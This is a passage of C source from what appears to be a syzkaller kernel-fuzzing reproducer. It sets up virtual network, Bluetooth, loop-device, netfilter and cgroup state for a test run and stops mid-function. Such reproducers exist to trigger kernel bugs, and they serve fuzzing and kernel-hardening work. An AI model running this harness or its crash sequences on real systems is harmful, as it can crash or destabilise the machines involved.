{"vlan0", ETH_ALEN},
{"vlan1", ETH_ALEN},
{"macvlan0", ETH_ALEN},
{"macvlan1", ETH_ALEN},
{"ipvlan0", ETH_ALEN},
{"ipvlan1", ETH_ALEN},
{"veth0_macvtap", ETH_ALEN},
{"veth1_macvtap", ETH_ALEN},
{"macvtap0", ETH_ALEN},
{"macsec0", ETH_ALEN},
{"veth0_to_batadv", ETH_ALEN},
{"veth1_to_batadv", ETH_ALEN},
{"batadv_slave_0", ETH_ALEN},
{"batadv_slave_1", ETH_ALEN},
{"geneve0", ETH_ALEN},
{"geneve1", ETH_ALEN},
{"wg0", 0},
{"wg1", 0},
{"wg2", 0},
};
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++)
netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev);
for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) {
char master[32], slave0[32], veth0[32], slave1[32], veth1[32];
sprintf(slave0, "%s_slave_0", devmasters[i]);
sprintf(veth0, "veth0_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave0, veth0);
sprintf(slave1, "%s_slave_1", devmasters[i]);
sprintf(veth1, "veth1_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave1, veth1);
sprintf(master, "%s0", devmasters[i]);
netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL);
}
netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr");
netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr");
netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1");
netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi");
netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0",
"veth1_virt_wifi");
netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan");
netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q));
netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD));
netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan");
netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan");
netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0);
netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S,
IPVLAN_F_VEPA);
netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap");
netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap");
netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap");
char addr[32];
sprintf(addr, DEV_IPV4, 14 + 10);
struct in_addr geneve_addr4;
if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0)
exit(1);
struct in6_addr geneve_addr6;
if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0)
exit(1);
netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0);
netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6);
netdevsim_add((int)procid, 4);
netlink_wireguard_setup();
for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) {
char addr[32];
sprintf(addr, DEV_IPV4, i + 10);
netlink_add_addr4(&nlmsg, sock, devices[i].name, addr);
if (!devices[i].noipv6) {
sprintf(addr, DEV_IPV6, i + 10);
netlink_add_addr6(&nlmsg, sock, devices[i].name, addr);
}
uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40);
netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr,
devices[i].macsize, NULL);
}
close(sock);
}
static void initialize_netdevices_init(void)
{
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
struct {
const char* type;
int macsize;
bool noipv6;
bool noup;
} devtypes[] = {
{"nr", 7, true},
{"rose", 5, true, true},
};
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) {
char dev[32], addr[32];
sprintf(dev, "%s%d", devtypes[i].type, (int)procid);
sprintf(addr, "172.30.%d.%d", i, (int)procid + 1);
netlink_add_addr4(&nlmsg, sock, dev, addr);
if (!devtypes[i].noipv6) {
sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1);
netlink_add_addr6(&nlmsg, sock, dev, addr);
}
int macsize = devtypes[i].macsize;
uint64_t macaddr = 0xbbbbbb +
((unsigned long long)i << (8 * (macsize - 2))) +
(procid << (8 * (macsize - 1)));
netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr,
macsize, NULL);
}
close(sock);
}
static int read_tun(char* data, int size)
{
if (tunfd < 0)
return -1;
int rv = read(tunfd, data, size);
if (rv < 0) {
if (errno == EAGAIN || errno == EBADFD)
return -1;
exit(1);
}
return rv;
}
static void flush_tun()
{
char data[1000];
while (read_tun(&data[0], sizeof(data)) != -1) {
}
}
#define MAX_FDS 30
#define BTPROTO_HCI 1
#define ACL_LINK 1
#define SCAN_PAGE 2
typedef struct {
uint8_t b[6];
} __attribute__((packed)) bdaddr_t;
#define HCI_COMMAND_PKT 1
#define HCI_EVENT_PKT 4
#define HCI_VENDOR_PKT 0xff
struct hci_command_hdr {
uint16_t opcode;
uint8_t plen;
} __attribute__((packed));
struct hci_event_hdr {
uint8_t evt;
uint8_t plen;
} __attribute__((packed));
#define HCI_EV_CONN_COMPLETE 0x03
struct hci_ev_conn_complete {
uint8_t status;
uint16_t handle;
bdaddr_t bdaddr;
uint8_t link_type;
uint8_t encr_mode;
} __attribute__((packed));
#define HCI_EV_CONN_REQUEST 0x04
struct hci_ev_conn_request {
bdaddr_t bdaddr;
uint8_t dev_class[3];
uint8_t link_type;
} __attribute__((packed));
#define HCI_EV_REMOTE_FEATURES 0x0b
struct hci_ev_remote_features {
uint8_t status;
uint16_t handle;
uint8_t features[8];
} __attribute__((packed));
#define HCI_EV_CMD_COMPLETE 0x0e
struct hci_ev_cmd_complete {
uint8_t ncmd;
uint16_t opcode;
} __attribute__((packed));
#define HCI_OP_WRITE_SCAN_ENABLE 0x0c1a
#define HCI_OP_READ_BUFFER_SIZE 0x1005
struct hci_rp_read_buffer_size {
uint8_t status;
uint16_t acl_mtu;
uint8_t sco_mtu;
uint16_t acl_max_pkt;
uint16_t sco_max_pkt;
} __attribute__((packed));
#define HCI_OP_READ_BD_ADDR 0x1009
struct hci_rp_read_bd_addr {
uint8_t status;
bdaddr_t bdaddr;
} __attribute__((packed));
#define HCI_EV_LE_META 0x3e
struct hci_ev_le_meta {
uint8_t subevent;
} __attribute__((packed));
#define HCI_EV_LE_CONN_COMPLETE 0x01
struct hci_ev_le_conn_complete {
uint8_t status;
uint16_t handle;
uint8_t role;
uint8_t bdaddr_type;
bdaddr_t bdaddr;
uint16_t interval;
uint16_t latency;
uint16_t supervision_timeout;
uint8_t clk_accurancy;
} __attribute__((packed));
struct hci_dev_req {
uint16_t dev_id;
uint32_t dev_opt;
};
struct vhci_vendor_pkt {
uint8_t type;
uint8_t opcode;
uint16_t id;
};
#define HCIDEVUP _IOW('H', 201, int)
#define HCISETSCAN _IOW('H', 221, int)
static int vhci_fd = -1;
static void rfkill_unblock_all()
{
int fd = open("/dev/rfkill", O_WRONLY);
if (fd < 0)
exit(1);
struct rfkill_event event = {0};
event.idx = 0;
event.type = RFKILL_TYPE_ALL;
event.op = RFKILL_OP_CHANGE_ALL;
event.soft = 0;
event.hard = 0;
if (write(fd, &event, sizeof(event)) < 0)
exit(1);
close(fd);
}
static void hci_send_event_packet(int fd, uint8_t evt, void* data,
size_t data_len)
{
struct iovec iv[3];
struct hci_event_hdr hdr;
hdr.evt = evt;
hdr.plen = data_len;
uint8_t type = HCI_EVENT_PKT;
iv[0].iov_base = &type;
iv[0].iov_len = sizeof(type);
iv[1].iov_base = &hdr;
iv[1].iov_len = sizeof(hdr);
iv[2].iov_base = data;
iv[2].iov_len = data_len;
if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0)
exit(1);
}
static void hci_send_event_cmd_complete(int fd, uint16_t opcode, void* data,
size_t data_len)
{
struct iovec iv[4];
struct hci_event_hdr hdr;
hdr.evt = HCI_EV_CMD_COMPLETE;
hdr.plen = sizeof(struct hci_ev_cmd_complete) + data_len;
struct hci_ev_cmd_complete evt_hdr;
evt_hdr.ncmd = 1;
evt_hdr.opcode = opcode;
uint8_t type = HCI_EVENT_PKT;
iv[0].iov_base = &type;
iv[0].iov_len = sizeof(type);
iv[1].iov_base = &hdr;
iv[1].iov_len = sizeof(hdr);
iv[2].iov_base = &evt_hdr;
iv[2].iov_len = sizeof(evt_hdr);
iv[3].iov_base = data;
iv[3].iov_len = data_len;
if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0)
exit(1);
}
static bool process_command_pkt(int fd, char* buf, ssize_t buf_size)
{
struct hci_command_hdr* hdr = (struct hci_command_hdr*)buf;
if (buf_size < (ssize_t)sizeof(struct hci_command_hdr) ||
hdr->plen != buf_size - sizeof(struct hci_command_hdr)) {
exit(1);
}
switch (hdr->opcode) {
case HCI_OP_WRITE_SCAN_ENABLE: {
uint8_t status = 0;
hci_send_event_cmd_complete(fd, hdr->opcode, &status, sizeof(status));
return true;
}
case HCI_OP_READ_BD_ADDR: {
struct hci_rp_read_bd_addr rp = {0};
rp.status = 0;
memset(&rp.bdaddr, 0xaa, 6);
hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp));
return false;
}
case HCI_OP_READ_BUFFER_SIZE: {
struct hci_rp_read_buffer_size rp = {0};
rp.status = 0;
rp.acl_mtu = 1021;
rp.sco_mtu = 96;
rp.acl_max_pkt = 4;
rp.sco_max_pkt = 6;
hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp));
return false;
}
}
char dummy[0xf9] = {0};
hci_send_event_cmd_complete(fd, hdr->opcode, dummy, sizeof(dummy));
return false;
}
static void* event_thread(void* arg)
{
while (1) {
char buf[1024] = {0};
ssize_t buf_size = read(vhci_fd, buf, sizeof(buf));
if (buf_size < 0)
exit(1);
if (buf_size > 0 && buf[0] == HCI_COMMAND_PKT) {
if (process_command_pkt(vhci_fd, buf + 1, buf_size - 1))
break;
}
}
return NULL;
}
#define HCI_HANDLE_1 200
#define HCI_HANDLE_2 201
static void initialize_vhci()
{
int hci_sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
if (hci_sock < 0)
exit(1);
vhci_fd = open("/dev/vhci", O_RDWR);
if (vhci_fd == -1)
exit(1);
const int kVhciFd = 241;
if (dup2(vhci_fd, kVhciFd) < 0)
exit(1);
close(vhci_fd);
vhci_fd = kVhciFd;
struct vhci_vendor_pkt vendor_pkt;
if (read(vhci_fd, &vendor_pkt, sizeof(vendor_pkt)) != sizeof(vendor_pkt))
exit(1);
if (vendor_pkt.type != HCI_VENDOR_PKT)
exit(1);
pthread_t th;
if (pthread_create(&th, NULL, event_thread, NULL))
exit(1);
int ret = ioctl(hci_sock, HCIDEVUP, vendor_pkt.id);
if (ret) {
if (errno == ERFKILL) {
rfkill_unblock_all();
ret = ioctl(hci_sock, HCIDEVUP, vendor_pkt.id);
}
if (ret && errno != EALREADY)
exit(1);
}
struct hci_dev_req dr = {0};
dr.dev_id = vendor_pkt.id;
dr.dev_opt = SCAN_PAGE;
if (ioctl(hci_sock, HCISETSCAN, &dr))
exit(1);
struct hci_ev_conn_request request;
memset(&request, 0, sizeof(request));
memset(&request.bdaddr, 0xaa, 6);
*(uint8_t*)&request.bdaddr.b[5] = 0x10;
request.link_type = ACL_LINK;
hci_send_event_packet(vhci_fd, HCI_EV_CONN_REQUEST, &request,
sizeof(request));
struct hci_ev_conn_complete complete;
memset(&complete, 0, sizeof(complete));
complete.status = 0;
complete.handle = HCI_HANDLE_1;
memset(&complete.bdaddr, 0xaa, 6);
*(uint8_t*)&complete.bdaddr.b[5] = 0x10;
complete.link_type = ACL_LINK;
complete.encr_mode = 0;
hci_send_event_packet(vhci_fd, HCI_EV_CONN_COMPLETE, &complete,
sizeof(complete));
struct hci_ev_remote_features features;
memset(&features, 0, sizeof(features));
features.status = 0;
features.handle = HCI_HANDLE_1;
hci_send_event_packet(vhci_fd, HCI_EV_REMOTE_FEATURES, &features,
sizeof(features));
struct {
struct hci_ev_le_meta le_meta;
struct hci_ev_le_conn_complete le_conn;
} le_conn;
memset(&le_conn, 0, sizeof(le_conn));
le_conn.le_meta.subevent = HCI_EV_LE_CONN_COMPLETE;
memset(&le_conn.le_conn.bdaddr, 0xaa, 6);
*(uint8_t*)&le_conn.le_conn.bdaddr.b[5] = 0x11;
le_conn.le_conn.role = 1;
le_conn.le_conn.handle = HCI_HANDLE_2;
hci_send_event_packet(vhci_fd, HCI_EV_LE_META, &le_conn, sizeof(le_conn));
pthread_join(th, NULL);
close(hci_sock);
}
struct fs_image_segment {
void* data;
uintptr_t size;
uintptr_t offset;
};
#define IMAGE_MAX_SEGMENTS 4096
#define IMAGE_MAX_SIZE (129 << 20)
#define sys_memfd_create 319
static unsigned long fs_image_segment_check(unsigned long size,
unsigned long nsegs,
struct fs_image_segment* segs)
{
if (nsegs > IMAGE_MAX_SEGMENTS)
nsegs = IMAGE_MAX_SEGMENTS;
for (size_t i = 0; i < nsegs; i++) {
if (segs[i].size > IMAGE_MAX_SIZE)
segs[i].size = IMAGE_MAX_SIZE;
segs[i].offset %= IMAGE_MAX_SIZE;
if (segs[i].offset > IMAGE_MAX_SIZE - segs[i].size)
segs[i].offset = IMAGE_MAX_SIZE - segs[i].size;
if (size < segs[i].offset + segs[i].offset)
size = segs[i].offset + segs[i].offset;
}
if (size > IMAGE_MAX_SIZE)
size = IMAGE_MAX_SIZE;
return size;
}
static int setup_loop_device(long unsigned size, long unsigned nsegs,
struct fs_image_segment* segs,
const char* loopname, int* memfd_p, int* loopfd_p)
{
int err = 0, loopfd = -1;
size = fs_image_segment_check(size, nsegs, segs);
int memfd = syscall(sys_memfd_create, "syzkaller", 0);
if (memfd == -1) {
err = errno;
goto error;
}
if (ftruncate(memfd, size)) {
err = errno;
goto error_close_memfd;
}
for (size_t i = 0; i < nsegs; i++) {
if (pwrite(memfd, segs[i].data, segs[i].size, segs[i].offset) < 0) {
}
}
loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
err = errno;
goto error_close_memfd;
}
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
if (errno != EBUSY) {
err = errno;
goto error_close_loop;
}
ioctl(loopfd, LOOP_CLR_FD, 0);
usleep(1000);
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
err = errno;
goto error_close_loop;
}
}
*memfd_p = memfd;
*loopfd_p = loopfd;
return 0;
error_close_loop:
close(loopfd);
error_close_memfd:
close(memfd);
error:
errno = err;
return -1;
}
static long syz_mount_image(volatile long fsarg, volatile long dir,
volatile unsigned long size,
volatile unsigned long nsegs,
volatile long segments, volatile long flags,
volatile long optsarg)
{
struct fs_image_segment* segs = (struct fs_image_segment*)segments;
int res = -1, err = 0, loopfd = -1, memfd = -1, need_loop_device = !!segs;
char* mount_opts = (char*)optsarg;
char* target = (char*)dir;
char* fs = (char*)fsarg;
char* source = NULL;
char loopname[64];
if (need_loop_device) {
memset(loopname, 0, sizeof(loopname));
snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
if (setup_loop_device(size, nsegs, segs, loopname, &memfd, &loopfd) == -1)
return -1;
source = loopname;
}
mkdir(target, 0777);
char opts[256];
memset(opts, 0, sizeof(opts));
if (strlen(mount_opts) > (sizeof(opts) - 32)) {
}
strncpy(opts, mount_opts, sizeof(opts) - 32);
if (strcmp(fs, "iso9660") == 0) {
flags |= MS_RDONLY;
} else if (strncmp(fs, "ext", 3) == 0) {
if (strstr(opts, "errors=panic") || strstr(opts, "errors=remount-ro") == 0)
strcat(opts, ",errors=continue");
} else if (strcmp(fs, "xfs") == 0) {
strcat(opts, ",nouuid");
}
res = mount(source, target, fs, flags, opts);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
res = open(target, O_RDONLY | O_DIRECTORY);
if (res == -1) {
err = errno;
}
error_clear_loop:
if (need_loop_device) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
close(memfd);
}
errno = err;
return res;
}
#define XT_TABLE_SIZE 1536
#define XT_MAX_ENTRIES 10
struct xt_counters {
uint64_t pcnt, bcnt;
};
struct ipt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_entries;
unsigned int size;
};
struct ipt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct ipt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct ipt_table_desc {
const char* name;
struct ipt_getinfo info;
struct ipt_replace replace;
};
static struct ipt_table_desc ipv4_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
static struct ipt_table_desc ipv6_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
#define IPT_BASE_CTL 64
#define IPT_SO_SET_REPLACE (IPT_BASE_CTL)
#define IPT_SO_GET_INFO (IPT_BASE_CTL)
#define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1)
struct arpt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_entries;
unsigned int size;
};
struct arpt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct arpt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct arpt_table_desc {
const char* name;
struct arpt_getinfo info;
struct arpt_replace replace;
};
static struct arpt_table_desc arpt_tables[] = {
{.name = "filter"},
};
#define ARPT_BASE_CTL 96
#define ARPT_SO_SET_REPLACE (ARPT_BASE_CTL)
#define ARPT_SO_GET_INFO (ARPT_BASE_CTL)
#define ARPT_SO_GET_ENTRIES (ARPT_BASE_CTL + 1)
static void checkpoint_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
int fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (int i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
socklen_t optlen = sizeof(table->info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
struct ipt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
int fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (int i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
if (table->info.valid_hooks == 0)
continue;
struct ipt_getinfo info;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
socklen_t optlen = sizeof(info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
struct ipt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
}
struct xt_counters counters[XT_MAX_ENTRIES];
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, level, IPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_arptables(void)
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
socklen_t optlen = sizeof(table->info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
struct arpt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_arptables()
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
if (table->info.valid_hooks == 0)
continue;
struct arpt_getinfo info;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
socklen_t optlen = sizeof(info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
struct arpt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
} else {
}
struct xt_counters counters[XT_MAX_ENTRIES];
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, SOL_IP, ARPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
#define NF_BR_NUMHOOKS 6
#define EBT_TABLE_MAXNAMELEN 32
#define EBT_CHAIN_MAXNAMELEN 32
#define EBT_BASE_CTL 128
#define EBT_SO_SET_ENTRIES (EBT_BASE_CTL)
#define EBT_SO_GET_INFO (EBT_BASE_CTL)
#define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1)
#define EBT_SO_GET_INIT_INFO (EBT_SO_GET_ENTRIES + 1)
#define EBT_SO_GET_INIT_ENTRIES (EBT_SO_GET_INIT_INFO + 1)
struct ebt_replace {
char name[EBT_TABLE_MAXNAMELEN];
unsigned int valid_hooks;
unsigned int nentries;
unsigned int entries_size;
struct ebt_entries* hook_entry[NF_BR_NUMHOOKS];
unsigned int num_counters;
struct ebt_counter* counters;
char* entries;
};
struct ebt_entries {
unsigned int distinguisher;
char name[EBT_CHAIN_MAXNAMELEN];
unsigned int counter_offset;
int policy;
unsigned int nentries;
char data[0] __attribute__((aligned(__alignof__(struct ebt_replace))));
};
struct ebt_table_desc {
const char* name;
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
};
static struct ebt_table_desc ebt_tables[] = {
{.name = "filter"},
{.name = "nat"},
{.name = "broute"},
};
static void checkpoint_ebtables(void)
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (size_t i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
strcpy(table->replace.name, table->name);
socklen_t optlen = sizeof(table->replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_INFO, &table->replace,
&optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->replace.entries_size > sizeof(table->entrytable))
exit(1);
table->replace.num_counters = 0;
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_ENTRIES, &table->replace,
&optlen))
exit(1);
}
close(fd);
}
static void reset_ebtables()
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (unsigned i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
if (table->replace.valid_hooks == 0)
continue;
struct ebt_replace replace;
memset(&replace, 0, sizeof(replace));
strcpy(replace.name, table->name);
socklen_t optlen = sizeof(replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &replace, &optlen))
exit(1);
replace.num_counters = 0;
table->replace.entries = 0;
for (unsigned h = 0; h < NF_BR_NUMHOOKS; h++)
table->replace.hook_entry[h] = 0;
if (memcmp(&table->replace, &replace, sizeof(table->replace)) == 0) {
char entrytable[XT_TABLE_SIZE];
memset(&entrytable, 0, sizeof(entrytable));
replace.entries = entrytable;
optlen = sizeof(replace) + replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES, &replace, &optlen))
exit(1);
if (memcmp(table->entrytable, entrytable, replace.entries_size) == 0)
continue;
}
for (unsigned j = 0, h = 0; h < NF_BR_NUMHOOKS; h++) {
if (table->replace.valid_hooks & (1 << h)) {
table->replace.hook_entry[h] =
(struct ebt_entries*)table->entrytable + j;
j++;
}
}
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_net_namespace(void)
{
checkpoint_ebtables();
checkpoint_arptables();
checkpoint_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
checkpoint_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void reset_net_namespace(void)
{
reset_ebtables();
reset_arptables();
reset_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
reset_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void setup_cgroups()
{
if (mkdir("/syzcgroup", 0777)) {
}
if (mkdir("/syzcgroup/unified", 0777)) {
}
if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) {
}
if (chmod("/syzcgroup/unified", 0777)) {
}
write_file("/syzcgroup/unified/cgroup.subtree_control",
"+cpu +memory +io +pids +rdma");
if (mkdir("/syzcgroup/cpu", 0777)) {
}
if (mount("none", "/syzcgroup/cpu", "cgroup", 0,
"cpuset,cpuacct,perf_event,hugetlb")) {
}
write_file("/syzcgroup/cpu/cgroup.clone_children", "1");
write_file("/syzcgroup/cpu/cpuset.memory_pressure_enabled", "1");
if (chmod("/syzcgroup/cpu", 0777)) {
}
if (mkdir("/syzcgroup/net", 0777)) {
}
